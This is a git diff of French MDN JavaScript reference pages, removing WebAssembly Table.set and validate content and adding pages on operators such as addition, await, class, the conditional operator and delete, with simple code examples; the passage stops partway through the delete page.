
- -
    -
  • Si index est supérieur ou égal à {{jsxref("WebAssembly/Table/length","Table.prototype.length")}}, une exception {{jsxref("RangeError")}} sera levée.
    • -
  • Si valeur n'est pas une fonction WebAssembly exportée ou la valeur {{jsxref("null")}}, une exception {{jsxref("TypeError")}} sera levée.
    • -
- -

Exemples

- -

Dans l'exemple qui suit (basé sur le code source de table2.html et qui dispose d'une démonstration), on crée ue nouvelle instance d'un tableau WebAssembly (Table) qui permet initialement de stocker 2 référence. On imprime alors la longueur du tableau dans la console ainsi que le contenu pour les deux premiers index (obtenus grâce à la méthode {{jsxref("WebAssembly/Table/get","Table.prototype.get()")}}) afin de montrer qu la longueur vaut 2 et qu'initialement, les deux éléments du tableau ne contiennent aucune référence (ils ont tous les deux la valeur {{jsxref("null")}}).

- -
var tbl = new WebAssembly.Table({initial:2, element:"anyfunc"});
-console.log(tbl.length);
-console.log(tbl.get(0));
-console.log(tbl.get(1));
- -

On crée ensuite un objet d'import qui contient une référence au tableau :

- -
var importObj = {
-  js: {
-    tbl:tbl
-  }
-};
- -

Enfin, on charge et on instancie le module WebAssembly (table2.wasm) grâce à la méthode {{jsxref("WebAssembly.instantiateStreaming()")}}, on logge la longueur du tableau et on appelle les deux fonctions référencées qui sont désormais dans le tableau (le module table2.wasm (cf. la représentation textuelle) ajoute deux références de fonctions au tableau et chacune affiche une valeur simple) :

- -
WebAssembly.instantiateStreaming(fetch('table2.wasm'), importObject)
-.then(function(obj) {
-  console.log(tbl.length);
-  console.log(tbl.get(0)());
-  console.log(tbl.get(1)());
-});
- -

On voit ici qu'il faut appeler la fonction après avoir appeler l'opérateur sur l'accesseur (autrement dit, on écrit get(0)() plutôt que get(0)) .

- -

Dans cet exemple, on montre comment créer et manipuler un tableau en JavaScript mais ce tableau est également accessible et manipulable depuis l'instance WebAssembly.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblytableprototypeset', 'set()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.Table.set")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/validate/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/validate/index.html deleted file mode 100644 index c00eb54e12..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/validate/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: WebAssembly.validate() -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/validate -tags: - - API - - JavaScript - - Méthode - - Reference - - WebAssembly -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/validate ---- -
{{JSRef}}
- -

La fonction WebAssembly.validate() permet de valider un tableau typé de bytecode WebAssembly et renvoie un booléen qui indique si le contenu du tableau forme un module WebAssembly valide (true) ou non (false).

- -

Syntaxe

- -
WebAssembly.validate(bufferSource);
- -

Paramètres

- -
-
bufferSource
-
Un tableau typé ou un {{jsxref("ArrayBuffer")}} qui contient le bytecode du module qu'on souhaite valider.
-
- -

Valeur de retour

- -

Un booléen qui indique si la source est un code WebAssembly valide (true) ou non (false).

- -

Exceptions

- -

Si la valeur passée en argument n'est pas un tableau typé ou un {{jsxref("ArrayBuffer")}}, une exception {{jsxref("TypeError")}} sera levée.

- -

Exemples

- -

Dans l'exemple suivant, (cf. le fichier validate.html du code source, ainsi que l'exemple live), on récupère un module .wasm et on le convertit en un tableau typé. Ensuite, on appelle la méthode validate() afin de vérifier si le module est valide.

- -
fetch('simple.wasm').then(response =>
-  response.arrayBuffer()
-).then(function(bytes) {
-  var valid = WebAssembly.validate(bytes);
-  console.log("Les octets forment un module "
-    + (valid ? "" : "in") + "valide.");
-});
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblyvalidate', 'validate()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.validate")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/operators/addition/index.html b/files/fr/web/javascript/reference/operators/addition/index.html new file mode 100644 index 0000000000..39f76c434d --- /dev/null +++ b/files/fr/web/javascript/reference/operators/addition/index.html @@ -0,0 +1,83 @@ +--- +title: Addition (+) +slug: Web/JavaScript/Reference/Opérateurs/Addition +tags: + - JavaScript + - Opérateur + - Reference +translation_of: Web/JavaScript/Reference/Operators/Addition +--- +
{{jsSidebar("Operators")}}
+ +
L'opérateur d'addition (+) effectue la somme de deux opérandes numériques ou la concaténation de chaînes de caractères.
+ + + +
{{EmbedInteractiveExample("pages/js/expressions-addition.html")}}
+ +
+ + + +

Syntaxe

+ +
Opérateur: x + y
+
+ +

Exemples

+ +

Addition numérique

+ +
// Nombre + Nombre -> addition
+1 + 2 // 3
+
+// Booléen + Nombre -> addition
+true + 1 // 2
+
+// Booléen + Booléen -> addition
+false + false // 0
+
+ +

Concaténation de chaînes

+ +
// String + String -> concatenation
+'foo' + 'bar' // "foobar"
+
+// Number + String -> concatenation
+5 + 'foo' // "5foo"
+
+// String + Boolean -> concatenation
+'foo' + false // "foofalse"
+ +

Spécifications

+ + + + + + + + + + +
Spécification
{{SpecName('ESDraft', '#sec-addition-operator-plus', 'Addition operator')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.addition")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/operators/addition_assignment/index.html b/files/fr/web/javascript/reference/operators/addition_assignment/index.html new file mode 100644 index 0000000000..5377d00b35 --- /dev/null +++ b/files/fr/web/javascript/reference/operators/addition_assignment/index.html @@ -0,0 +1,58 @@ +--- +title: Addition avec assignement (+=) +slug: Web/JavaScript/Reference/Opérateurs/Addition_avec_assignement +tags: + - Fonctionnalité du language + - JavaScript + - Opérateur + - Opérateur d'assignement + - Reference +translation_of: Web/JavaScript/Reference/Operators/Addition_assignment +--- +

{{jsSidebar("Operators")}}

+ +

L'opérateur d'addition avec assignement (+=) permet d'ajouter une valeur à une variable. Le type des deux valeurs permet de définir si l'utilisation de cet opérateur les concatènera ou les additionnera.

+ +
{{EmbedInteractiveExample("pages/js/expressions-addition-assignment.html")}}
+ +
+ + + +

Syntaxe

+ +
Opérateur : x += y
+Signifie :  x = x + y
+ +

Examples

+ +

Utilisation de l'opérateur

+ +
// On considère les variables suivantes :
+var chaine = "Hello";
+var nombre = 5;
+var booleen = true;
+
+// Nombre + Nombre
+nombre += 2;
+// 7
+
+// Booléen + Nombre
+booleen += 1;
+// 2
+
+// Booléen + Booléen
+booleen += false;
+// 1
+
+// Nombre + Chaîne
+nombre += "World";
+// "5World"
+
+// Chaîne + Booléen
+chaine += false;
+// "Hellofalse"
+
+// Chaîne + Chaîne
+chaine += "World"
+// "HelloWorld"
diff --git a/files/fr/web/javascript/reference/operators/assignment/index.html b/files/fr/web/javascript/reference/operators/assignment/index.html new file mode 100644 index 0000000000..5011c20000 --- /dev/null +++ b/files/fr/web/javascript/reference/operators/assignment/index.html @@ -0,0 +1,65 @@ +--- +title: Assignement (=) +slug: Web/JavaScript/Reference/Opérateurs/Assignement +tags: + - Fonctionnalités du language + - JavaScript + - Opérateur + - Opérateur d'assignement + - Reference +translation_of: Web/JavaScript/Reference/Operators/Assignment +--- +
{{jsSidebar("Operators")}}
+ +

L'opérateur d'assignement simple (=) est utilisé pour définir la valeur d'une variable. Il est possible d'ajouter une valeur à plusieurs variables en chaînant les variables.

+ +
{{EmbedInteractiveExample("pages/js/expressions-assignment.html")}}
+ +
+ + + +

Syntaxe

+ +
Opérateur : x = y
+
+ +

Exemples

+ +

Assignement simple et variables en chaînes

+ +
// On considère les variables suivantes :
+var x = 5;
+var y = 10;
+var z = 25;
+
+x = y;
+// x est égale à 10
+
+x = y = z;
+// x, y et z sont égales à 25
+ +

Specifications

+ + + + + + + + + + +
Specification
{{SpecName('ESDraft', '#sec-assignment-operators', 'Assignment operators')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.assignment")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/operators/async_function/index.html b/files/fr/web/javascript/reference/operators/async_function/index.html new file mode 100644 index 0000000000..0dd3cf0def --- /dev/null +++ b/files/fr/web/javascript/reference/operators/async_function/index.html @@ -0,0 +1,116 @@ +--- +title: Expression async function +slug: Web/JavaScript/Reference/Opérateurs/async_function +tags: + - Function + - JavaScript + - Opérateur + - Reference +translation_of: Web/JavaScript/Reference/Operators/async_function +--- +
{{jsSidebar("Operators")}}
+ +

Le mot-clé async function peut être utilisé pour définir une fonction asynchrone au sein d'une expression.

+ +
+

Note : Il est aussi possible de définir une fonction asynchrone en utilisant une instruction async function.

+
+ +

Syntaxe

+ +
async function [name]([param1[, param2[, ..., paramN]]]) {
+   instructions
+}
+ +

Paramètres

+ +
+
name
+
Le nom de la fonction. Il est facultatif et s'il n'est pas utilisé, la fonction est anonyme. Le nom utilisé est uniquement local pour le corps de la fonction.
+
paramN
+
Le nom d'un argument à passer à la fonction.
+
instructions
+
Les instructions qui composent le corps de la fonction.
+
+ +
+

Note : À partir d'ES2015 (ES6), il est aussi possible d'utiliser des fonctions fléchées pour les expressions de fonction asynchrone.

+
+ +

Description

+ +

Une expression async function est très proche, et partage quasiment la même syntaxe avec {{jsxref('Instructions/async_function', 'une instruction async function',"",1)}}. La différence principale entre une expression async function et une instruction async function est qu'on peut omettre le nom de la fonction dans les expressions async function. On peut donc utiliser une expression async function afin de créer une IIFE (pour Immediately Invoked Function Expression) qu'on appelle au moment de sa définition. Voir également le chapitre sur les fonctions pour plus d'informations.

+ +

Exemples

+ +

Exemple simple

+ +
function resolveAfter2Seconds(x) {
+  return new Promise(resolve => {
+    setTimeout(() => {
+      resolve(x);
+    }, 2000);
+  });
+};
+
+(async function(x) { // fonction asynchrone immédiatement appelée
+  var a = resolveAfter2Seconds(20);
+  var b = resolveAfter2Seconds(30);
+  return x + await a + await b;
+})(10).then(v => {
+  console.log(v);  // affiche 60 après 2 secondes.
+});
+
+var add = async function(x) {
+  var a = await resolveAfter2Seconds(20);
+  var b = await resolveAfter2Seconds(30);
+  return x + a + b;
+};
+
+add(10).then(v => {
+  console.log(v);  // affiche 60 après 4 secondes.
+});
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}{{Spec2('ESDraft')}} 
{{SpecName('ES2018', '#sec-async-function-definitions', 'async function')}}{{Spec2('ES2018')}} 
{{SpecName('ES2017', '#sec-async-function-definitions', 'async function')}}{{Spec2('ES2017')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.async_function_expression")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/async_function", "async function")}}
    • +
  • L'objet {{jsxref("AsyncFunction")}}
    • +
  • {{jsxref("Opérateurs/await", "await")}}
    • +
diff --git a/files/fr/web/javascript/reference/operators/await/index.html b/files/fr/web/javascript/reference/operators/await/index.html new file mode 100644 index 0000000000..87423b32a0 --- /dev/null +++ b/files/fr/web/javascript/reference/operators/await/index.html @@ -0,0 +1,132 @@ +--- +title: await +slug: Web/JavaScript/Reference/Opérateurs/await +tags: + - JavaScript + - Opérateur + - Reference +translation_of: Web/JavaScript/Reference/Operators/await +--- +
{{jsSidebar("Operators")}}
+ +

L'opérateur await permet d'attendre la résolution d'une promesse ({{jsxref("Promise")}}). Il ne peut être utilisé qu'au sein d'une fonction asynchrone (définie avec l'instruction {{jsxref("Instructions/async_function", "async function")}}).

+ +

Syntaxe

+ +
[rv] = await expression;
+ +
+
expression
+
Une promesse ({{jsxref("Promise")}}) ou toute autre valeur dont on souhaite attendre la résolution.
+
rv
+
+

La valeur de retour qui est celle de la promesse lorsqu'elle est résolue ou la valeur de l'expression lorsque celle-ci n'est pas une promesse.

+
+
+ +

Description

+ +

L'expression await interrompt l'exécution d'une fonction asynchrone et attend la résolution d'une promesse. Lorsque la promesse est résolue (tenue ou rompue), la valeur est renvoyée et l'exécution de la fonction asynchrone reprend. Si la valeur de l'expression n'est pas une promesse, elle est convertie en une promesse résolue ayant cette valeur.

+ +

Si la promesse est rompue, l'expression await lève une exception avec la raison.

+ +

Exemples

+ +

Si on passe une promesse à une expression await, celle-ci attendra jusqu'à la résolution de la promesse et renverra la valeur de résolution.

+ +
function resolveAfter2Seconds(x) {
+  return new Promise(resolve => {
+    setTimeout(() => {
+      resolve(x);
+    }, 2000);
+  });
+}
+
+async function f1() {
+  var x = await resolveAfter2Seconds(10);
+  console.log(x); // 10
+}
+f1();
+
+ +

Les objets dotés d'une méthode then() (thenable en anglais) seront également résolus :

+ +
async function f0() {
+  const thenable = {
+    then: function(resolve, _reject) {
+      resolve("résolu :)");
+    }
+  };
+  console.log(await thenable); // résolu :)
+}
+f0();
+ +

Si la valeur n'est pas une promesse, elle est convertie en une promesse résolue :

+ +
async function f2() {
+  var y = await 20;
+  console.log(y); // 20
+}
+f2();
+ +

Si la promesse est rejetée, la raison est fournie avec l'exception.

+ +
async function f3() {
+  try {
+    var z = await Promise.reject(30);
+  } catch (e) {
+    console.log(e); // 30
+  }
+}
+f3();
+ +

On peut également gérer le cas où la promesse est rejetée grâce à {{jsxref("Promise.prototype.catch()")}} :

+ +
var response = await maFonctionPromesse().catch(
+  (err) => {
+    console.log(err);
+  }
+);
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("ESDraft", "#sec-async-function-definitions", "async functions")}}{{Spec2("ESDraft")}}
{{SpecName("ES2018", "#sec-async-function-definitions", "async functions")}}{{Spec2('ES2018')}}
{{SpecName("ES2017", "#sec-async-function-definitions", "async functions")}}{{Spec2('ES2017')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.await")}}

+ +

Voir aussi

+ +
    +
  • L'instruction {{jsxref("Instructions/async_function", "async function")}}
    • +
  • L'expression {{jsxref("Opérateurs/async_function", "async function")}}
    • +
  • L'objet {{jsxref("AsyncFunction")}}
    • +
diff --git a/files/fr/web/javascript/reference/operators/class/index.html b/files/fr/web/javascript/reference/operators/class/index.html new file mode 100644 index 0000000000..b41f9fc832 --- /dev/null +++ b/files/fr/web/javascript/reference/operators/class/index.html @@ -0,0 +1,111 @@ +--- +title: class +slug: Web/JavaScript/Reference/Opérateurs/class +tags: + - ECMAScript 2015 + - JavaScript + - Opérateur + - Reference +translation_of: Web/JavaScript/Reference/Operators/class +--- +
{{JSSidebar("Operators")}}
+ +

Une expression de classe est un moyen de définir une classe avec ECMASCript 2015 (ES6). Semblable aux expressions de fonctions, les expressions de classes peuvent être nommées ou anonymes. Si l'expression est nommée, le nom de la classe ne sera local que pour le corps de la fonction. Cette syntaxe n'est qu'un « sucre syntaxique » pour faciliter l'écriture du code, elle ne modifie en aucun cas le modèle d'héritage utilisé par JavaScript qui est un modèle à base de prototypes.

+ +
{{EmbedInteractiveExample("pages/js/expressions-classexpression.html")}}
+ + + +

Syntaxe

+ +
var MaClasse = class [nomClasse] [extends] {
+  // corps de la classe
+};
+ +

Description

+ +

Une expression de classe utilise une syntaxe similaire à celle d'une instruction de classe. En revanche, avec les expressions de classes, il est possible de ne pas nommer la classe, ce qu'il est impossible de faire avec les instructions de classes. De plus, en utilisant les expressions de classe, on peut redéfinir/redéclarer les classes si nécessaire. Le type d'une classe sera toujours "function".

+ +

Le corps d'une classe sera exécuté en mode strict (pour les instructions et les expressions de classe).

+ +

Exemples

+ +

Une expression simple

+ +

Ici, on utilise une expression de classe anonyme qu'on lie à la variable Toto.

+ +
var Toto = class {
+  constructor() {}
+  truc() {
+    return "Coucou monde !";
+  }
+};
+
+var instance = new Toto();
+instance.truc(); // "Coucou monde !"
+Toto.name; // "Toto"
+
+ +

Des expressions nommées

+ +

Si on souhaite faire référence à la classe, au sein du corps de la classe, on pourra utiliser une expression nommée. Le nom utilisé ne sera visible que depuis l'intérieur de la portée de l'expression de classe.

+ +
// TBD
+var Toto = class TotoNommé {
+  constructor() {}
+  quiEstLa() {
+    return TotoNommé.name;
+  }
+}
+
+var truc = new Toto;
+truc.quiEstLa(); // "TotoNommmé"
+TotoNommé.name;  // ReferenceError
+Toto.name;       // "TotoNommé"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-class-definitions', 'Class definitions')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ES2016', '#sec-class-definitions', 'Class definitions')}}{{Spec2('ES2016')}} 
{{SpecName('ES2017', '#sec-class-definitions', 'Class definitions')}}{{Spec2('ES2017')}} 
{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.class")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/operators/comma_operator/index.html b/files/fr/web/javascript/reference/operators/comma_operator/index.html new file mode 100644 index 0000000000..d3ccf9c8f4 --- /dev/null +++ b/files/fr/web/javascript/reference/operators/comma_operator/index.html @@ -0,0 +1,107 @@ +--- +title: L'opérateur virgule +slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_virgule +tags: + - JavaScript + - Opérateur + - Reference +translation_of: Web/JavaScript/Reference/Operators/Comma_Operator +--- +
{{jsSidebar("Operators")}}
+ +

L'opérateur virgule permet d'évaluer chacun de ses opérandes (de la gauche vers la droite) et de renvoyer la valeur du dernier opérande.

+ +
{{EmbedInteractiveExample("pages/js/expressions-commaoperators.html")}}
+ + + +

Syntaxe

+ +
expr1, expr2, expr3...
+ +

Paramètres

+ +
+
expr1, expr2, expr3...
+
Des expressions JavaScript.
+
+ +

Description

+ +

L'opérateur virgule peut être utilisé lorsqu'on souhaite utiliser plusieurs expressions là où la syntaxe n'en attend qu'une seule. Cet opérateur est souvent utilisé dans une boucle {{jsxref("Instructions/for","for")}} afin de fournir plusieurs paramètres.

+ +

L'opérateur virgule est à différencier de la virgule utilisée pour séparer les éléments d'un tableau ou les propriétés d'un objet ou encore les arguments d'une fonction.

+ +

Exemples

+ +

SI on a un tableau à 2 dimensions appelé monTableau, qui possède 10 éléments ayant chacun 10 éléments, on peut utiliser le code suivant avec l'opérateur virgule afin d'incrémenter deux variables (i et j) à la fois. Attention, la virgule utilisée au sein de l'instruction var n'est pas l'opérateur virgule (car il ne peut exister au sein d'une expression) ; ici c'est un caractère spécial de l'instruction {{jsxref("Instructions/var","var")}}. Le code qui suit affiche les éléments présents sur la diagonale de cette matrice :

+ +
for (var i = 0, j = 9; i <= 9; i++, j--){
+  console.log("monTableau[" + i + "][" + j + "] = " + monTableau[i][j]);
+}
+ +

Dans le code suivant, a est défini avec la valeur de b = 3 (qui est 3) et l'expression c = 4 est toujours évaluée et c'est ce résultat affiché dans la console du fait de la précédence et de l'associativité des opérateurs.

+ +
var a, b, c;
+a = b = 3, c = 4; // Renvoie 4 dans la console
+console.log(a);   // 3
+ +

Pour isoler la précédence de l'opérateur, on peut utiliser des parenthèses :

+ +
var x, y, z;
+x = (y = 5, z = 6); // Renvoie 6 dans la console
+console.log(x);     // 6
+ +

Effectuer un traitement puis renvoyer une valeur

+ +

Un autre exemple consiste à effectuer un certain traitement sur la variable puis à renvoyer le résultat. Par définition, seul le dernier élément sera renvoyé mais les instructions précédentes seront bien exécutées. AInsi, on pourrait avoir :

+ +
function maFonction () {
+  var x = 0;
+
+  return (x += 1, x); // ce qui revient à renvoyer ++x
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-comma-operator', 'Comma operator')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-comma-operator', 'Comma operator')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-11.14', 'Comma operator')}}{{Spec2('ES5.1')}} 
{{SpecName('ES1', '#sec-11.14', 'Comma operator')}}{{Spec2('ES1')}}Définition initiale
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.comma")}}

+ +

Voir aussi

+ +
    +
  • Les boucles {{jsxref("Instructions/for","for")}}
    • +
diff --git a/files/fr/web/javascript/reference/operators/conditional_operator/index.html b/files/fr/web/javascript/reference/operators/conditional_operator/index.html new file mode 100644 index 0000000000..c2357f8e93 --- /dev/null +++ b/files/fr/web/javascript/reference/operators/conditional_operator/index.html @@ -0,0 +1,152 @@ +--- +title: L'opérateur conditionnel +slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_conditionnel +tags: + - JavaScript + - Opérateur +translation_of: Web/JavaScript/Reference/Operators/Conditional_Operator +--- +
{{jsSidebar("Operators")}}
+ +

L'opérateur (ternaire) conditionnel est le seul opérateur JavaScript qui comporte trois opérandes. Cet opérateur est fréquemment utilisé comme raccourci pour la déclaration de {{jsxref("Instructions/if...else")}}.

+ +
{{EmbedInteractiveExample("pages/js/expressions-conditionaloperators.html")}}
+ + + +

Syntaxe

+ +
condition ? exprSiVrai : exprSiFaux
+ +

Paramètres

+ +
+
condition
+
Une expression qui est évaluée en un booléen (true ou false).
+
+ +
+
exprSiVrai
+
Une expression qui est évaluée si la condition est équivalente à true (truthy)
+
exprSiFaux
+
Une expression qui est évaluée si la condition est équivalente à false (falsy).
+
+ +

Description

+ +

SI condition vaut true, l'opérateur renverra la valeur d'exprSiVrai; dans le cas contraire, il renverra la valeur de exprSiFaux. Par exemple, on peut afficher un message différent en fonction d'une variable estMembre avec cette déclaration :

+ +
"Le prix est : " + (estMembre ? "15 €" : "30 €")
+
+ +

On peut également affecter des variables dont la valeur dépendra du test :

+ +
var elvisLives = Math.PI > 4 ? "Yep" : "Nope";
+ +

On peut enchaîner plusieurs évaluations ternaires l'une à la suite de l'autre (cet opérateur se propage de la gauche vers la droite) :

+ +
var premierControle = false,
+    secondControle = false,
+    acces = premierControle ? "Accès refusé" : secondControle ? "Accès refusé" : "Accès autorisé";
+
+console.log(acces); // "Accès autorisé"
+ +

Il est également possible d'utiliser cet opérateur pour effectuer l'une ou l'autre expression selon le cas de figure qui se présente :

+ +
var stop = false, age = 16;
+
+age > 18 ? location.assign("continue.html") : stop = true;
+
+ +

en utilisant l'{{jsxref("Opérateurs/L_opérateur_virgule","opérateur virgule")}}, on peut même y placer plusieurs instructions (attention toutefois à la lisibilité et à se demander si un {{jsxref("Instructions/if...else","if...else")}} n'est pas plus approprié).

+ +
var stop = false, age = 23;
+
+age > 18 ? (
+    console.log("OK, accès autorisé."),
+    location.assign("continue.html")
+) : (
+    stop = true,
+    console.log("Accès refusé !")
+);
+
+ +

De la même façon, on peut effectuer plusieurs opérations, encadrées par des parenthèses, avant d'affecter le résultat de l'opérateur à une variable. Conformément à l'opérateur virgule, ce sera la dernière valeur qui sera affectée. Ici aussi, attention à la lisibilité du code relativement à un if...else.

+ +
var age = 16;
+
+var url = age > 18 ? (
+    console.log("Accès autorisé."),
+    // console.log renvoie "undefined", mais cela importe peu car
+    // ce n'est pas le dernier élément de l'expression
+    "continue.html" // la valeur à affecter si âge > 18
+) : (
+    console.log("Accès refusé !"),
+    // etc.
+    "stop.html" // la valeur à affecter si âge <= 18
+);
+
+location.assign(url); // "stop.html"
+ +

Utiliser l'opérateur ternaire dans la valeur de retour

+ +

On peut utiliser l'opérateur ternaire (voire une imbrication de celui-ci) pour remplacer certaines formulations avec if...else où return est la seule instruction utilisée :

+ +
var func1 = function( .. ) {
+  if (condition1) { return valeur1 }
+  else if (condition2) { return valeur2 }
+  else if (condition3) { return valeur3 }
+  else { return value4 }
+}
+
+var func2 = function( .. ) {
+  return condition1 ? valeur1
+       : condition2 ? valeur2
+       : condition3 ? valeur3
+       :              valeur4
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ESDraft', '#sec-conditional-operator', 'Conditional Operator')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-conditional-operator', 'Conditional Operator')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-11.12', 'The conditional operator')}}{{Spec2('ES5.1')}}
{{SpecName('ES1', '#sec-11.12', 'The conditional operator')}}{{Spec2('ES1')}}Définition initiale, implémentée avec JavaScript 1.0.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.conditional")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/operators/delete/index.html b/files/fr/web/javascript/reference/operators/delete/index.html new file mode 100644 index 0000000000..19a48f8649 --- /dev/null +++ b/files/fr/web/javascript/reference/operators/delete/index.html @@ -0,0 +1,305 @@ +--- +title: L'opérateur delete +slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_delete +tags: + - JavaScript + - Opérateur + - Reference +translation_of: Web/JavaScript/Reference/Operators/delete +--- +
{{jsSidebar("Operators")}}
+ +

L'opérateur delete permet de retirer une propriété d'un objet.

+ +
{{EmbedInteractiveExample("pages/js/expressions-deleteoperator.html")}}
+ + + +

Syntaxe

+ +
delete expression
+ +

où expression est évaluée comme une référence à une propriété :

+ +
delete objet.propriete
+delete objet['propriete']
+
+ +

Paramètres

+ +
+
objet
+
Le nom d'un objet ou une expression dont l'évaluation fournit un objet.
+
propriete
+
La propriété qu'on souhaite supprimer.
+
+ +

Valeur de retour

+ +

true pour tous les cas sauf lorsque la propriété est une propriété propre non-configurable auquel cas false est renvoyé en mode non-strict.

+ +

Exceptions

+ +

Cet opérateur lève une exception {{jsxref("TypeError")}} en mode strict si la propriété est une propriété propre qui est non-configurable.

+ +

Description

+ +

Contrairement à ce qu'on pourrait penser, l'opérateur delete n'a rien à voir avec une libération de mémoire directe. La gestion de la mémoire en JavaScript est réalisée de façon indirecte en tenant compte des références, voir cette page pour plus de détails.

+ +

L'opérateur delete permet de retirer une propriété donnée d'un objet. Lorsque la suppression se déroule sans problème, l'opération renvoie true, sinon c'est la valeur false qui est renvoyée. Voici quelques scénarios importants qui précisent ce comportement :

+ +
    +
  • Si la propriété qu'on souhaite supprimer n'existe pas, delete n'aura aucun effet et l'opération renverra true
    • +
  • Si une propriété du même nom existe sur la chaîne de prototypes, après la suppression, l'objet utilisera la propriété disponible sur la chaîne de prototypes. Autrement dit, delete n'a d'effet que sur les propriétés directement rattachées à un objet (les propriétés « propres »).
    • +
  • Toute propriété déclarée avec {{jsxref("Instructions/var","var")}} ne peut pas être supprimée de la portée globale ou de la portée d'une fonction. +
      +
    • Aussi, delete ne pourra supprimer des fonctions de la portée globale (que ce soit une définition de fonction ou une expression de fonction).
      • +
    • Les fonctions qui font partie d'un objet (à l'exception de la portée globale) peuvent être supprimées avec delete.
      • +
    +
    • +
  • Toute propriété déclarée avec {{jsxref("Instructions/let","let")}} ou {{jsxref("Instructions/const","const")}} ne peut être supprimée de la portée dans laquelle elles ont été créées.
    • +
  • Les propriétés non-configurable ne peuvent pas être retirées. Cela inclut les propriétés des objets natifs comme {{jsxref("Math")}}, {{jsxref("Array")}}, {{jsxref("Object")}} et les propriétés qui sont créées comme non-configurable grâce à la méthode {{jsxref("Object.defineProperty()")}}.
    • +
+ +

Voici un fragment de code qui illustre certains cas :

+ +
var Employe = {
+  age: 28,
+  nom: 'abc',
+  designation: 'developpeur'
+}
+
+console.log(delete Employe.nom);  // renvoie true
+console.log(delete Employe.age);  // renvoie true
+
+// Lorsqu'on souhaite supprimer une propriété
+// inexistante, on obtient true
+console.log(delete Employe.salaire); // renvoie true
+
+ +

Les propriétés non-configurables

+ +

Lorsqu'une propriété est marquée comme non-configurable, delete n'aura aucun effet et l'opération renverra false. En mode strict, cela déclenchera une exception TypeError.

+ +
var Employe = {};
+Object.defineProperty(Employe, 'nom', {configurable: false});
+
+console.log(delete Employe.nom);  // renvoie false
+
+ +

{{jsxref("Instructions/var","var")}} (ou let ou const) crée des propriétés non-configurables qui ne peuvent pas être supprimées via delete :

+ +
var autreNom = 'XYZ';
+
+// On peut accéder à la description de cette
+// propriété globale grâce à :
+Object.getOwnPropertyDescriptor(window, 'autreNom')
+
+/* Object {value: "XYZ",
+                  writable: true,
+                  enumerable: true,
+                  configurable: false}
+*/
+
+// On voit que "autreNom", ajouté avec var
+// est marquée comme "non-configurable"
+
+delete autreNom;   // renvoie false
+ +

En mode strict, cela aurait déclenché une exception.

+ +

Mode strict ou non-strict ?

+ +

Lorsqu'on est en mode strict, si delete est utilisé sur une référence directe à une variable, un argument de fonction ou un nom de fonction, il déclenchera une exception {{jsxref("SyntaxError")}}.

+ +

Toute variable définie avec var est marquée comme non-configurable. Dans l'exemple qui suit, salaire est non-configurable et ne peut pas être supprimé. En mode non-strict, l'opération delete renverra false.

+ +
function Employe() {
+  delete salaire;
+  var salaire;
+}
+
+Employe();
+
+ +

Voyons comment ce code se comporte en mode strict : au lieu de renvoyer false, l'instruction lève une exception SyntaxError.

+ +
"use strict";
+
+function Employe() {
+  delete salaire;  // SyntaxError
+  var salaire;
+}
+
+// De même, tout accès direct à une fonction
+// avec delete lèvera une SyntaxError
+
+function DemoFunction() {
+  //du code
+}
+
+delete DemoFunction; // SyntaxError
+
+ +

Exemples

+ +
// on crée la propriété adminName sur la portée globale
+adminName = 'xyz';
+
+// on crée la propriété empCount sur la portée globale
+// On utilise var, elle est donc non-configurable
+var empCount = 43;
+
+EmployeeDetails = {
+  name: 'xyz',
+  age: 5,
+  designation: 'Developer'
+};
+
+// adminName est une propriété de la portée globale
